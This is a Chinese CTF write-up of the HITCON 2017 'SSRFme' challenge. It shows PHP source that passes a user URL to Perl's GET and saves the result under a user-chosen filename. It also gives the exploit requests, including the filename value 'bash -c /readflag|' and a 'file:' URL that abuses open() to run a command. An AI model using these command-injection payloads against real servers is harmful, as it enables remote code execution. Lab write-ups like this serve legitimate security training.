[HITCON 2017]SSRFme
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
前半段代码用orange和ip地址的md5编码在sandbox下新建了一个文件夹并且进入到该文件夹下。后来再用GET执行url的参数,这里的GET是Lib for WWW in Perl中的命令,有任意命令执行漏洞。再用filename新建文件夹,并且将GET命令执行的结果放入该文件夹。
ip地址已经显示在源码页面上了,再加上orange用MD5编码得到文件夹名sandbox/5bfd90feef2e64d9ecea7d17eed33d47
读取根目录文件然后将结果存放到文件夹a中,再直接访问
http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/?url=/&filename=a
http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/a

可以看到有flag和readflag文件,应该是要执行readflag才能获取到flag。这里用的是open函数的任意代码执行漏洞,我们先新建一个文件?url=&filename=bash -c /readflag|
然后利用open的漏洞执行代码?url=file:bash -c /readflag|&filename=c
再访问http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/c得到flag

本文详细解析了一段PHP代码,该代码涉及SSRF(Server-Side Request Forgery)和文件操作漏洞。通过设置特定的HTTP头和URL参数,攻击者可以创建文件夹、读取根目录文件并利用open函数执行代码,最终获取到flag。过程包括新建文件夹、利用GET执行命令以及文件内容写入等步骤,展示了如何通过安全漏洞进行信息窃取。
1万+

被折叠的 条评论
为什么被折叠?



